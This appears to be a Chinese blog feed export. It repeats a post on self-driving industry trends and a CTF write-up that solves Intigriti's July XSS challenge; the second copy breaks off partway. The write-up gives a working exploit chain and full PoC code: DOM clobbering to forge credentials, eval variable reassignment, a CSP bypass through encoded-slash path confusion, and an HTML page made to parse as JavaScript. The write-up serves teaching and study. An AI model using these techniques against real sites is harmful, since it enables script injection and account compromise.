前陣子跟幾個朋友聊到一些對自駕車產業未來重點的想法,雖然覺得現在有很多蓬勃發展的方向,像自動卡車、自駕計程車、短途自動送貨等等,各方向又有很多公司,不過還是想就自己比較有興趣的方向來稍微寫一下。
自駕計程車大規模的服務上線
以美國來說,目前最快的還是 Waymo,在 Phoenix 的部分區域可以直接用 Waymo One app 直接叫車,而且上面已經沒有安全駕駛人員。他們的成功也讓很多公司更有信心,接下來幾年,想必也會有很多公司陸續跟上,在各大城市實際跑自駕計程車服務,以我的印象來說,不同公司把重點放在不同的城市,例如:
以上只是我印象中的 list,實際上還有很多公司,各公司的目標當然也可能常常在變化。
服務上線之後,不僅僅是消費者會開始親身體驗到各家服務的優缺點,也因為服務上線後會開始帶來現金流,並解鎖很多後續要解決的問題(例如清潔跟維持車子、車隊規劃、交通事故處理、遠端控制的網路延遲問題),而會變得更加有趣。我猜這時會再淘汰一波公司,口袋不夠深的或是服務明顯輸別人的,就可能會被整併或倒掉。
自駕卡車跟短途自動送貨服務的市場競爭會加劇
自駕卡車、短途自動送貨這些服務跟自駕計程車有很多功能重複的地方,而且因為自駕計程車是要載人的,在安全性的設計上會更嚴格,所以如果能把自駕計程車做得足夠好,理論上要跨到自駕卡車或短途自動送貨是不會太困難。實際上也有很多公司開始做多項服務(例如 Waymo 就有做自駕卡車、自駕計程車)。
目前專心做自駕卡車跟送貨的公司,相對於做自駕計程車的公司並不多,但是,一旦載人的服務漸漸成熟,那麼送貨這個在技術上相對更簡單的市場,可能就會有更多公司投入競爭。以美國市場來說,目前直覺會想到,最具有代表性的各領域領頭公司是:
但幾年後還會是這個態勢嗎?還是接下來會有更多跨足不同領域帶來的洗牌,也會滿值得觀察的。
規模化的重要性
大家都知道,世界上有許許多多的國家跟城市,這也代表著不同的城市風貌跟交通法規、駕駛習慣,如何讓自駕技術能有效的規模化就是一個大重點。舉例來說,在美國開習慣的人,突然來到台灣開車,可能就會被許多的摩托車嚇到,這並不表示哪邊的習慣有優劣,純粹是不同而已。
但因為目前主流的方法都還是會利用 3D HD map 來協助定位,所以自駕車要理解 HD map,勢必要定義 HD map 裡各項東西的 semantic meaning(例如 stop sign 的意思),而世界各地不同城市裡的 HD map 肯定會有不同的東西,所以不能只是用同樣的 mapping 機制直接複製到全世界。這也表示使用 HD map 帶來的麻煩,會因為大家都要規模化而更痛。除了上面的因素,也要考慮各城市每天都在變化,一直 maintain 持續更新的 HD map 也是一個成本。
關於這點,純以理論上來說,Tesla 不使用 lidar,捨棄 pre-defined HD map,所以少了 HD map 的痛點,但只使用相機(其實還有 radar)還是有很多先天限制,所以我猜為了安全性,未來主流上還是會繼續使用 lidar 偵測東西,但不用 lidar 來定位自身在 HD map 的位置(基本上很像是擁有 lidar sensor 能力的人類)。
今天討論了一點個人對自駕車行業趨勢的觀察跟想法。我並不是專門做產業趨勢分析的人,也沒有天天在關注各公司新的進展,所以只能分享粗淺的看法。很期待能在不遠的將來體驗各家公司的服務,讓未來的交通更加安全、方便。
]]>前陣子跟幾個朋友聊到一些對自駕車產業未來重點的想法,雖然覺得現在有很多蓬勃發展的方向,像自動卡車、自駕計程車、短途自動送貨等等,各方向又有很多公司,不過還是想就自己比較有興趣的方向來稍微寫一下。
自駕計程車大規模的服務上線
以美國來說,目前最快的還是 Waymo,在 Phoenix 的部分區域可以直接用 Waymo One app 直接叫車,而且上面已經沒有安全駕駛人員。他們的成功也讓很多公司更有信心,接下來幾年,想必也會有很多公司陸續跟上,在各大城市實際跑自駕計程車服務,以我的印象來說,不同公司把重點放在不同的城市,例如:
以上只是我印象中的 list,實際上還有很多公司,各公司的目標當然也可能常常在變化。
服務上線之後,不僅僅是消費者會開始親身體驗到各家服務的優缺點,也因為服務上線後會開始帶來現金流,並解鎖很多後續要解決的問題(例如清潔跟維持車子、車隊規劃、交通事故處理、遠端控制的網路延遲問題),而會變得更加有趣。我猜這時會再淘汰一波公司,口袋不夠深的或是服務明顯輸別人的,就可能會被整併或倒掉。
自駕卡車跟短途自動送貨服務的市場競爭會加劇
自駕卡車、短途自動送貨這些服務跟自駕計程車有很多功能重複的地方,而且因為自駕計程車是要載人的,在安全性的設計上會更嚴格,所以如果能把自駕計程車做得足夠好,理論上要跨到自駕卡車或短途自動送貨是不會太困難。實際上也有很多公司開始做多項服務(例如 Waymo 就有做自駕卡車、自駕計程車)。
目前專心做自駕卡車跟送貨的公司,相對於做自駕計程車的公司並不多,但是,一旦載人的服務漸漸成熟,那麼送貨這個在技術上相對更簡單的市場,可能就會有更多公司投入競爭。以美國市場來說,目前直覺會想到,最具有代表性的各領域領頭公司是:
但幾年後還會是這個態勢嗎?還是接下來會有更多跨足不同領域帶來的洗牌,也會滿值得觀察的。
規模化的重要性
大家都知道,世界上有許許多多的國家跟城市,這也代表著不同的城市風貌跟交通法規、駕駛習慣,如何讓自駕技術能有效的規模化就是一個大重點。舉例來說,在美國開習慣的人,突然來到台灣開車,可能就會被許多的摩托車嚇到,這並不表示哪邊的習慣有優劣,純粹是不同而已。
但因為目前主流的方法都還是會利用 3D HD map 來協助定位,所以自駕車要理解 HD map,勢必要定義 HD map 裡各項東西的 semantic meaning(例如 stop sign 的意思),而世界各地不同城市裡的 HD map 肯定會有不同的東西,所以不能只是用同樣的 mapping 機制直接複製到全世界。這也表示使用 HD map 帶來的麻煩,會因為大家都要規模化而更痛。除了上面的因素,也要考慮各城市每天都在變化,一直 maintain 持續更新的 HD map 也是一個成本。
關於這點,純以理論上來說,Tesla 不使用 lidar,捨棄 pre-defined HD map,所以少了 HD map 的痛點,但只使用相機(其實還有 radar)還是有很多先天限制,所以我猜為了安全性,未來主流上還是會繼續使用 lidar 偵測東西,但不用 lidar 來定位自身在 HD map 的位置(基本上很像是擁有 lidar sensor 能力的人類)。
今天討論了一點個人對自駕車行業趨勢的觀察跟想法。我並不是專門做產業趨勢分析的人,也沒有天天在關注各公司新的進展,所以只能分享粗淺的看法。很期待能在不遠的將來體驗各家公司的服務,讓未來的交通更加安全、方便。
]]>(此文章原發佈於 Cymetrics Tech Blog,Intigriti 七月份 XSS 挑戰:突破層層關卡)
Intigriti 這個網站每個月都會有 XSS 挑戰,給你一週的時間去解一道 XSS 的題目,目標是成功執行 alert(document.domain)
。
身為一個前端資安混血工程師,我每個月都有參加(但不一定有解出來),底下是前幾個月的筆記:
每個月的挑戰都相當有趣,我覺得難易度也掌握得不錯,沒有到超級無敵難,但也不會輕易到一下就被解開。而這個月的挑戰我也覺得很好玩,因此在解開之後寫了這篇心得跟大家分享,期待有越來越多人可以一起參與。
挑戰網址:https://challenge-0721.intigriti.io/
仔細看一下會發現這次的挑戰其實比較複雜一點,因為有三個頁面跟一堆的 postMessage
還有 onmessage
,要搞清楚他們的關係需要一些時間。
我看了一下之後因為懶得搞懂,所以決定從反方向開始解。如果是 XSS 題目,代表一定要有地方可以執行程式碼,通常都是 eval
或是 innerHTML
,所以可以先找到這邊,再往回推該如何抵達。
接下來就來簡單看一下那三個頁面:
<div class="card-container">
<div class="card-header-small">Your payloads:</div>
<div class="card-content">
<script>
// redirect all htmledit messages to the console
onmessage = e =>{
if (e.data.fromIframe){
frames[0].postMessage({cmd:"log",message:e.data.fromIframe}, '*');
}
}
/*
var DEV = true;
var store = {
users: {
admin: {
username: 'inti',
password: 'griti'
}, moderator: {
username: 'root',
password: 'toor'
}, manager: {
username: 'andrew',
password: 'hunter2'
},
}
}
*/
</script>
<div class="editor">
<span id="bin">
<a onclick="frames[0].postMessage({cmd:'clear'},'*')">🗑️</a>
</span>
<iframe class=console src="./console.php"></iframe>
<iframe class=codeFrame src="./htmledit.php?code=<img src=x>"></iframe>
<textarea oninput="this.previousElementSibling.src='./htmledit.php?code='+escape(this.value)"><img src=x></textarea>
</div>
</div>
</div>
除了被註解的那一段變數之外,看起來沒什麼特別的。
<!-- <img src=x> -->
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Native HTML editor</title>
<script nonce="d8f00e6635e69bafbf1210ff32f96bdb">
window.addEventListener('error', function(e){
let obj = {type:'err'};
if (e.message){
obj.text = e.message;
} else {
obj.text = `Exception called on ${e.target.outerHTML}`;
}
top.postMessage({fromIframe:obj}, '*');
}, true);
onmessage=(e)=>{
top.postMessage({fromIframe:e.data}, '*')
}
</script>
</head>
<body>
<img src=x></body>
</html>
<!-- /* Page loaded in 0.000024 seconds */ -->
這個頁面會直接把 query string code 的內容顯示在頁面上,然後開頭還有一段神秘的註解,是把 code encode 之後的內容。但儘管顯示在頁面上卻沒辦法執行,因為有著嚴格的 CSP:script-src 'nonce-...';frame-src https:;object-src 'none';base-uri 'none';
不過 CSP 裡面特別開了 frame-src,我看到這邊的時候想說:「這可能是個提示,提示我們要用 iframe」
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<script nonce="c4936ad76292ee7100ecb9d72054e71f">
name = 'Console'
document.title = name;
if (top === window){
document.head.parentNode.remove(); // hide code if not on iframe
}
</script>
<style>
body, ul {
margin:0;
padding:0;
}
ul#console {
background: lightyellow;
list-style-type: none;
font-family: 'Roboto Mono', monospace;
font-size: 14px;
line-height: 25px;
}
ul#console li {
border-bottom: solid 1px #80808038;
padding-left: 5px;
}
</style>
</head>
<body>
<ul id="console"></ul>
<script nonce="c4936ad76292ee7100ecb9d72054e71f">
let a = (s) => s.anchor(s);
let s = (s) => s.normalize('NFC');
let u = (s) => unescape(s);
let t = (s) => s.toString(0x16);
let parse = (e) => (typeof e === 'string') ? s(e) : JSON.stringify(e, null, 4); // make object look like string
let log = (prefix, data, type='info', safe=false) => {
let line = document.createElement("li");
let prefix_tag = document.createElement("span");
let text_tag = document.createElement("span");
switch (type){
case 'info':{
line.style.backgroundColor = 'lightcyan';
break;
}
case 'success':{
line.style.backgroundColor = 'lightgreen';
break;
}
case 'warn':{
line.style.backgroundColor = 'lightyellow';
break;
}
case 'err':{
line.style.backgroundColor = 'lightpink';
break;
}
default:{
line.style.backgroundColor = 'lightcyan';
}
}
data = parse(data);
if (!safe){
data = data.replace(/</g, '<');
}
prefix_tag.innerHTML = prefix;
text_tag.innerHTML = data;
line.appendChild(prefix_tag);
line.appendChild(text_tag);
document.querySelector('#console').appendChild(line);
}
log('Connection status: ', window.navigator.onLine?"Online":"Offline")
onmessage = e => {
switch (e.data.cmd) {
case "log": {
log("[log]: ", e.data.message.text, type=e.data.message.type);
break;
}
case "anchor": {
log("[anchor]: ", s(a(u(e.data.message))), type='info')
break;
}
case "clear": {
document.querySelector('#console').innerHTML = "";
break;
}
default: {
log("[???]: ", `Wrong command received: "${e.data.cmd}"`)
}
}
}
</script>
<script nonce="c4936ad76292ee7100ecb9d72054e71f">
try {
if (!top.DEV)
throw new Error('Production build!');
let checkCredentials = (username, password) => {
try{
let users = top.store.users;
let access = [users.admin, users.moderator, users.manager];
if (!users || !password) return false;
for (x of access) {
if (x.username === username && x.password === password)
return true
}
} catch {
return false
}
return false
}
let _onmessage = onmessage;
onmessage = e => {
let m = e.data;
if (!m.credentials || !checkCredentials(m.credentials.username, m.credentials.password)) {
return; // do nothing if unauthorized
}
switch(m.cmd){
case "ping": { // check the connection
e.source.postMessage({message:'pong'},'*');
break;
}
case "logv": { // display variable's value by its name
log("[logv]: ", window[m.message], safe=false, type='info');
break;
}
case "compare": { // compare variable's value to a given one
log("[compare]: ", (window[m.message.variable] === m.message.value), safe=true, type='info');
break;
}
case "reassign": { // change variable's value
let o = m.message;
try {
let RegExp = /^[s-zA-Z-+0-9]+$/;
if (!RegExp.test(o.a) || !RegExp.test(o.b)) {
throw new Error('Invalid input given!');
}
eval(`${o.a}=${o.b}`);
log("[reassign]: ", `Value of "${o.a}" was changed to "${o.b}"`, type='warn');
} catch (err) {
log("[reassign]: ", `Error changing value (${err.message})`, type='err');
}
break;
}
default: {
_onmessage(e); // keep default functions
}
}
}
} catch {
// hide this script on production
document.currentScript.remove();
}
</script>
<script src="./analytics/main.js?t=1627610836"></script>
</body>
</html>
這個頁面的程式碼比其他兩頁多很多,而且可以找到一些我們需要的東西,比如說 eval
:
let _onmessage = onmessage;
onmessage = e => {
let m = e.data;
if (!m.credentials || !checkCredentials(m.credentials.username, m.credentials.password)) {
return; // do nothing if unauthorized
}
switch(m.cmd){
// ...
case "reassign": { // change variable's value
let o = m.message;
try {
let RegExp = /^[s-zA-Z-+0-9]+$/;
if (!RegExp.test(o.a) || !RegExp.test(o.b)) {
throw new Error('Invalid input given!');
}
eval(`${o.a}=${o.b}`);
log("[reassign]: ", `Value of "${o.a}" was changed to "${o.b}"`, type='warn');
} catch (err) {
log("[reassign]: ", `Error changing value (${err.message})`, type='err');
}
break;
}
default: {
_onmessage(e); // keep default functions
}
}
}
但這邊的 eval
似乎沒辦法讓我們直接執行想要的程式碼,因為規範滿嚴格的(大寫字母、部分小寫字母、數字跟 +-),可能是有其他用途。
另外一個有機會的地方是這裡:
let log = (prefix, data, type='info', safe=false) => {
let line = document.createElement("li");
let prefix_tag = document.createElement("span");
let text_tag = document.createElement("span");
switch (type){
// not important
}
data = parse(data);
if (!safe){
data = data.replace(/</g, '<');
}
prefix_tag.innerHTML = prefix;
text_tag.innerHTML = data;
line.appendChild(prefix_tag);
line.appendChild(text_tag);
document.querySelector('#console').appendChild(line);
}
如果 safe 是 true 的話,那 data 就不會被 escape,就可以插入任意的 HTML,達成 XSS。
而這邊值得注意的是函式的參數那一段:let log = (prefix, data, type='info', safe=false)
,這點值得特別解釋一下。
在有些程式語言裡面,支援這種參數的命名,在呼叫 function 的時候可以用名稱來傳入參數,例如說:log(prefix='a', safe=true)
,就傳入對應到的參數。
但是在 JS 裡面並沒有這種東西,參數的對應完全是靠「順序」來決定的。舉例來說,log("[logv]: ", window[m.message], safe=false, type='info');
對應到的參數其實是:
"[logv]: "
window[m.message]
false
'info'
是靠順序而不是靠名稱,這也是許多新手會被搞混的地方。
總之呢,就讓我們從 log
這個函式開始往回找吧,要執行到這一段,必須要 post message 到這個 window,然後符合一些條件。
這個 console.php 的頁面有一些條件限制,如果沒有符合這些條件就沒辦法執行到 log function 去。
首先這個頁面必須被 embed 在 iframe 裡面:
name = 'Console'
document.title = name;
if (top === window){
document.head.parentNode.remove(); // hide code if not on iframe
}
再來還有這些檢查要通過:
try {
if (!top.DEV)
throw new Error('Production build!');
let checkCredentials = (username, password) => {
try{
let users = top.store.users;
let access = [users.admin, users.moderator, users.manager];
if (!users || !password) return false;
for (x of access) {
if (x.username === username && x.password === password)
return true
}
} catch {
return false
}
return false
}
let _onmessage = onmessage;
onmessage = e => {
let m = e.data;
if (!m.credentials || !checkCredentials(m.credentials.username, m.credentials.password)) {
return; // do nothing if unauthorized
}
// ...
}
} catch {
// hide this script on production
document.currentScript.remove();
}
top.DEV
要是 truthy,然後傳進去的 credentials 要符合 top.store.users.admin.username
還有 top.store.users.admin.password
這樣我應該自己寫一個頁面,然後設置一下這些全域變數就好了?
沒辦法,因為有 Same Origin Policy 的存在,你只能存取同源頁面下的 window 內容,所以如果是自己寫一個頁面然後把 console.php embed 在裡面的話,在存取 top.DEV
時就會出錯。
所以我們需要有一個同源的頁面可以讓我們設置一些東西。而這個頁面,顯然就是可以讓我們插入一些 HTML 的 htmledit.php 了。
該怎麼在不能執行 JS 的情況下設置全域變數呢?沒錯,就是 DOM clobbering。
舉例來說,如果你有個 <div id="a"></div>
,在 JS 裡面你就可以用 window.a
或是 a
去存取到這個 div 的 DOM。
如果你對 DOM clobbering 不熟的話可以參考我之前寫過的淺談 DOM Clobbering 的原理及應用,或是這一篇也寫得很好:使用 Dom Clobbering 扩展 XSS
如果要達成多層的變數設置,就要利用到 iframe
搭配 srcdoc
:
<a id="DEV"></a>
<iframe name="store" srcdoc='
<a id="users"></a>
<a id="users" name="admin" href="ftp://a:a@a"></a>
'>
</iframe>
<iframe name="iframeConsole" src="https://challenge-0721.intigriti.io/console.php"></iframe>
這邊還有利用到一個特性是 a 元素的 username 屬性會是 href 屬性裡 URL 的 username。
這樣設置的話,top.DEV
就會是 a id="DEV"></a>
這個 DOM,而 store.users
就會是 HTMLCollection,store.users.admin
是那個 a,store.users.admin.username
則會是 href 裡面的 username,也就是 a
,而密碼也是一樣的。
綜合以上所述,我可以自己寫一個 HTML 然後用 window.open
去開啟 htmledit.php 然後把上面的內容帶進去:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>XSS POC</title>
</head>
<body>
<script>
const htmlUrl = 'https://challenge-0721.intigriti.io/htmledit.php?code='
const payload = `
<a id="DEV"></a>
<iframe name="store" srcdoc='
<a id="users"></a>
<a id="users" name="admin" href="ftp://a:a@a"></a>
'></iframe>
<iframe name="iframeConsole" src="https://challenge-0721.intigriti.io/console.php"></iframe>
`
var win = window.open(htmlUrl + encodeURIComponent(payload))
// wait unitl window loaded
setTimeout(() => {
console.log('go')
const credentials = {
username: 'a',
password: 'a'
}
win.frames[1].postMessage({
cmd: 'test',
credentials
}, '*')
}, 5000)
</script>
</body>
</html>
如此一來,我就可以用 postMessage 送訊息進去了。
雖然花了一番功夫,但這才只是開始而已。
safe 要是 true,這樣呼叫 log 的時候才不會把 <
escape,要讓 safe 是 true 的話,要找到有傳入四個參數的呼叫,因為第四個會是 safe 的值:
case "logv": { // display variable's value by its name
log("[logv]: ", window[m.message], safe=false, type='info');
break;
}
case "compare": { // compare variable's value to a given one
log("[compare]: ", (window[m.message.variable] === m.message.value), safe=true, type='info');
break;
}
log("[logv]: ", window[m.message], safe=false, type='info')
這個我在找的 function call,而這之中第二個參數會是 window[m.message]
,也就是說可以把任一全域變數當作 data 傳進去,可是要傳什麼呢?
我在這邊卡得滿久的,因為我想不太到這邊可以傳什麼。以前有一招是可以傳 name,但是這個網頁已經自己設定 name 了所以沒辦法。另一招是用 URL 去傳就可以把東西放在 location 上面,但 log
裡面會檢查 data
是不是字串,不是的話要先經過 JSON.stringify
,會把內容encode。
卡很久的我只好不斷重複看著程式碼,看能不能找出什麼新東西,結果還真的找到了。下面這段 code 有一個新手常見問題,你有看出來嗎?
let checkCredentials = (username, password) => {
try{
let users = top.store.users;
let access = [users.admin, users.moderator, users.manager];
if (!users || !password) return false;
for (x of access) {
if (x.username === username && x.password === password)
return true
}
} catch {
return false
}
return false
}
這個問題就出在 for (x of access) {
,x 忘了宣告,所以預設就會變成全域變數。在這邊的話,x
會是 top.store.users.admin
,也就是我們自己設置的那個 <a>
。
既然我們有了這個 x,就可以把它用 logv 這個 command 傳入 log function,然後因為 safe 會是 true,所以就可以直接把 x 的內容用 innerHTML 顯示出來。
如果你把一個 a 元素變成字串,會得到 a.href 的內容,所以我們可以把我們的 payload 放在 href 裡面。
但是,log
裡面會檢查 data 的型態,而 a
不是字串所以過不了檢查,這該怎麼辦呢?
這時候我重新看了一遍程式碼,發現了這個指令:
case "reassign": { // change variable's value
let o = m.message;
try {
let RegExp = /^[s-zA-Z-+0-9]+$/;
if (!RegExp.test(o.a) || !RegExp.test(o.b)) {
throw new Error('Invalid input given!');
}
eval(`${o.a}=${o.b}`);
log("[reassign]: ", `Value of "${o.a}" was changed to "${o.b}"`, type='warn');
} catch (err) {
log("[reassign]: ", `Error changing value (${err.message})`, type='err');
}
break;
}
我可以這樣做:
win.frames[1].postMessage({
cmd: 'reassign',
message:{
a: 'Z',
b: 'x+1'
},
credentials
}, '*')
這就等於是 Z=x+1
,然後 x+1
的時候會因為自動轉型的關係變成字串,這樣一來 Z 就會是一個含有我們 payload 的字串了。
雖然我們現在可以傳字串進去了,但還有一件事情要搞定,那就是因為 href 裡面的東西是 URL 所以會被 encode,例如說 <
會變成 %3C
:
var a = document.createElement('a')
a.setAttribute('href', 'ftp://a:a@a#<img src=x onload=alert(1)>')
console.log(a+1)
// ftp://a:a@a/#%3Cimg%20src=x%20onload=alert(1)%3E1
這又要怎麼辦呢?
在 log
裡面有一行是 data = parse(data)
,而 parse 的程式碼是這樣的:
let parse = (e) => (typeof e === 'string') ? s(e) : JSON.stringify(e, null, 4); // make object look like string
如果 e 是字串,那就回傳 s(e)
,而這個 s 是另外一個函式。
當初在看程式碼的時候,我看到 reassign 那邊對於 eval 的檢查時,就注意到了它的規則:RegExp = /^[s-zA-Z-+0-9]+$/;
,還有底下這四個函式:
let a = (s) => s.anchor(s);
let s = (s) => s.normalize('NFC');
let u = (s) => unescape(s);
let t = (s) => s.toString(0x16);
其中 s, u 跟 t 這三個字元都是允許的,也就是說,可以透過 reassign 這個指令把他們互換!我們可以把 s
換成 u
,這樣 data 就會被 unescape 了!
所以最後的程式碼會長這樣:
const htmlUrl = 'https://challenge-0721.intigriti.io/htmledit.php?code='
const insertPayload=`<img src=x onerror=alert(1)>`
const payload = `
<a id="DEV"></a>
<iframe name="store" srcdoc='
<a id="users"></a>
<a id="users" name="admin" href="ftp://a:a@a#${escape(insertPayload)}"></a>
'></iframe>
<iframe name="iframeConsole" src="https://challenge-0721.intigriti.io/console.php"></iframe>
`
var win = window.open(htmlUrl + encodeURIComponent(payload))
// 等待 window 載入完成
setTimeout(() => {
console.log('go')
const credentials = {
username: 'a',
password: 'a'
}
// s=u
win.frames[1].postMessage({
cmd: 'reassign',
message:{
a: 's',
b: 'u'
},
credentials
}, '*')
// Z=x+1 so Z = x.href + 1
win.frames[1].postMessage({
cmd: 'reassign',
message:{
a: 'Z',
b: 'x+1'
},
credentials
}, '*')
// log window[Z]
win.frames[1].postMessage({
cmd: 'logv',
message: 'Z',
credentials
}, '*')
}, 5000)
所以 data 會是 ftp://a:a@a#<img src=x onerror=alert(1)>
,然後被設定到 HTML 上面,觸發 XSS!
不,事情沒那麼順利...我忘記有 CSP 了。
雖然我可以插入任意 HTML,但很遺憾地這個網頁也有 CSP:
script-src
'nonce-xxx'
https://challenge-0721.intigriti.io/analytics/
'unsafe-eval';
frame-src https:;
object-src 'none';base-uri 'none';
因為沒有 unsafe-inline
,所以我們之前的 payload 是無效的。而這一段 CSP 當中,https://challenge-0721.intigriti.io/analytics/
顯然是個很可疑的路徑。
這個頁面其實有引入一個 https://challenge-0721.intigriti.io/analytics/main.js 的檔案,但裡面沒有東西,只有一些註解而已。
其實看到這邊的時候我就知道要怎麼做了,因為我之前有學到一個繞過 CSP 的技巧,利用%2F
(編碼過後的 /
)以及前後端對於 URL 解析的不一致。
以 https://challenge-0721.intigriti.io/analytics/..%2fhtmledit.php
為例,對瀏覽器來說,這個 URL 是在 /analytics
底下,所以可以通過 CSP 的檢查。
但是對伺服器來說,這一段是 https://challenge-0721.intigriti.io/analytics/../htmledit.php
也就是 https://challenge-0721.intigriti.io/htmledit.php
所以我們成功繞過了 CSP,載入不同路徑的檔案!
因此現在的目標就變成我們要找一個檔案裡面可以讓我們放 JS 程式碼。看來看去都只有 htmledit.php 能用,但它不是一個 HTML 嗎?
如果你還記得的話,這個頁面的開頭有一段是 HTML 的註解:
<!-- <img src=x> -->
....
而在一些情況下,其實這語法也是 JS 的註解。不是我說的,是規格書說的:
換句話說呢,我們可以利用這點,做出一個看起來像 HTML,但實際上也是合法 JS 的檔案!
我最後做出來的 URL 是這樣:https://challenge-0721.intigriti.io/htmledit.php?code=1;%0atop.alert(document.domain);/*
產生的 HTML 長這樣:
<!-- 1; 這邊都是註解
top.alert(document.domain);/* --> 這之後也都是註解了
<!DOCTYPE html>
<html lang="en">
<head>
...
第一行是註解,/*
之後也都是註解,所以這一整段其實就是 top.alert(document.domain);
的意思。
不過這邊可以注意的是 htmledit.php 的 content type 不會變,依然還是 text/html
,之所以可以把它當作 JS 引入,是因為同源的關係。如果你是把一個不同源的 HTML 當作 JS 引入,就會被 CORB 給擋下來。
做到這邊,我們就可以讓 data 是 <script src="https://challenge-0721.intigriti.io/htmledit.php?code=1;%0atop.alert(document.domain);/*"></script>
這樣就會執行到 text_tag.innerHTML = data
,成功在頁面上放進去 script 還繞過了 CSP,完美!
但可惜的是,還差一點點...
就在我以為要過關的時候,卻發現我的 script 怎樣都不會執行。後來用關鍵字去查,才發現如果是用 innerHTML 插入 script 標籤,插入之後是不會去執行的。
我試著用 innerhtml import script
或是 innerhtml script run
之類的關鍵字去找解法但都沒找到。
最後,我是突然想到可以試試看 <iframe srcdoc="...">
,有種死馬當活馬醫的感覺,反正就試試看這樣行不行,沒有損失。
結果沒想到就可以了。直接 assign 給 innerHTML 不行,但如果內容是:<iframe srcdoc="<script src='...'></script>"
就可以,就會直接載入 script。
最後再補充一件事情,我要送出答案之前發現我的答案在 Firefox 上面不能跑,原因是這段程式碼:
<a id="users"></a>
<a id="users" name="admin" href="a"></a>
在 Chrome 上 window.users
會是 HTMLCollection,但在 Firefox 上面只會拿到一個 a 元素,而 window.users.admin
也就是 undefined。
但這問題不大,只要多一層 iframe 就可以搞定:
<iframe name="store" srcdoc="
<iframe srcdoc='<a id=admin href=ftp://a:a@a#></a>' name=users>
">
</iframe>
我最後的答案長這樣:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>XSS POC</title>
</head>
<body>
<script>
const htmlUrl = 'https://challenge-0721.intigriti.io/htmledit.php?code='
const exploitSrc = '/analytics/..%2fhtmledit.php?code=1;%0atop.alert(document.domain);/*'
const insertPayload=`<iframe srcdoc="<script src=${exploitSrc}><\/script>">`
const payload = `
<a id="DEV"></a>
<iframe name="store" srcdoc="
<iframe srcdoc='<a id=admin href=ftp://a:a@a#${escape(insertPayload)}></a>' name=users>
">
</iframe>
<iframe name="iframeConsole" src="https://challenge-0721.intigriti.io/console.php"></iframe>
`
var win = window.open(htmlUrl + encodeURIComponent(payload))
// wait for 3s to let window loaded
setTimeout(() => {
const credentials = {
username: 'a',
password: 'a'
}
win.frames[1].postMessage({
cmd: 'reassign',
message:{
a: 's',
b: 'u'
},
credentials
}, '*')
win.frames[1].postMessage({
cmd: 'reassign',
message:{
a: 'Z',
b: 'x+1'
},
credentials
}, '*')
win.frames[1].postMessage({
cmd: 'logv',
message: 'Z',
credentials
}, '*')
}, 3000)
</script>
</body>
</html>
我的方法是新開一個 window 來 post message,但其實也可以把自己作為 iframe,讓 htmledit.php embed,這樣的話其實也可以用 top.postMessage 去傳送訊息。
「把自己 embed 在其他網頁中」這個是我很常忘記的一個方法。
另一個非預期的解法也很神奇,是根據這一段:
case "log": {
log("[log]: ", e.data.message.text, type=e.data.message.type);
break;
}
這一段的重點是 type=e.data.message.type
,會設置一個 global variable 叫做 type,因此其實可以透過這邊傳入任意 payload,再去呼叫 logv 就好。就省去了把 payload 放在 a 上面那一大堆要處理的事情。
我滿喜歡這次的這個題目,因為有種層層關卡的感覺,一關一關慢慢過,每當我以為要破關的時候,就又卡住了,直到最後才把所有關卡都解完,成功執行 XSS。
從這個挑戰中,可以學習到的前端知識是:
從這個題目中可以學習或是複習滿多技巧的,CTF 跟這種挑戰有趣的點就在這邊,雖然說每樣東西拆開來可能都知道,但要怎麼精心串起來,是很考驗經驗跟功力的。
如果對 XSS 挑戰有興趣,可以關注 Intigriti 並且等待下一次的挑戰。
]]>(此文章原發佈於 Cymetrics Tech Blog,Intigriti 七月份 XSS 挑戰:突破層層關卡)
Intigriti 這個網站每個月都會有 XSS 挑戰,給你一週的時間去解一道 XSS 的題目,目標是成功執行 alert(document.domain)
。
身為一個前端資安混血工程師,我每個月都有參加(但不一定有解出來),底下是前幾個月的筆記:
每個月的挑戰都相當有趣,我覺得難易度也掌握得不錯,沒有到超級無敵難,但也不會輕易到一下就被解開。而這個月的挑戰我也覺得很好玩,因此在解開之後寫了這篇心得跟大家分享,期待有越來越多人可以一起參與。
挑戰網址:https://challenge-0721.intigriti.io/
仔細看一下會發現這次的挑戰其實比較複雜一點,因為有三個頁面跟一堆的 postMessage
還有 onmessage
,要搞清楚他們的關係需要一些時間。
我看了一下之後因為懶得搞懂,所以決定從反方向開始解。如果是 XSS 題目,代表一定要有地方可以執行程式碼,通常都是 eval
或是 innerHTML
,所以可以先找到這邊,再往回推該如何抵達。
接下來就來簡單看一下那三個頁面:
<div class="card-container">
<div class="card-header-small">Your payloads:</div>
<div class="card-content">
<script>
// redirect all htmledit messages to the console
onmessage = e =>{
if (e.data.fromIframe){
frames[0].postMessage({cmd:"log",message:e.data.fromIframe}, '*');
}
}
/*
var DEV = true;
var store = {
users: {
admin: {
username: 'inti',
password: 'griti'
}, moderator: {
username: 'root',
password: 'toor'
}, manager: {
username: 'andrew',
password: 'hunter2'
},
}
}
*/
</script>
<div class="editor">
<span id="bin">
<a onclick="frames[0].postMessage({cmd:'clear'},'*')">🗑️</a>
</span>
<iframe class=console src="./console.php"></iframe>
<iframe class=codeFrame src="./htmledit.php?code=<img src=x>"></iframe>
<textarea oninput="this.previousElementSibling.src='./htmledit.php?code='+escape(this.value)"><img src=x></textarea>
</div>
</div>
</div>
除了被註解的那一段變數之外,看起來沒什麼特別的。
<!-- <img src=x> -->
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Native HTML editor</title>
<script nonce="d8f00e6635e69bafbf1210ff32f96bdb">
window.addEventListener('error', function(e){
let obj = {type:'err'};
if (e.message){
obj.text = e.message;
} else {
obj.text = `Exception called on ${e.target.outerHTML}`;
}
top.postMessage({fromIframe:obj}, '*');
}, true);
onmessage=(e)=>{
top.postMessage({fromIframe:e.data}, '*')
}
</script>
</head>
<body>
<img src=x></body>
</html>
<!-- /* Page loaded in 0.000024 seconds */ -->
這個頁面會直接把 query string code 的內容顯示在頁面上,然後開頭還有一段神秘的註解,是把 code encode 之後的內容。但儘管顯示在頁面上卻沒辦法執行,因為有著嚴格的 CSP:script-src 'nonce-...';frame-src https:;object-src 'none';base-uri 'none';
不過 CSP 裡面特別開了 frame-src,我看到這邊的時候想說:「這可能是個提示,提示我們要用 iframe」
<!DOCTYPE html>
<html lang="en">
<head>
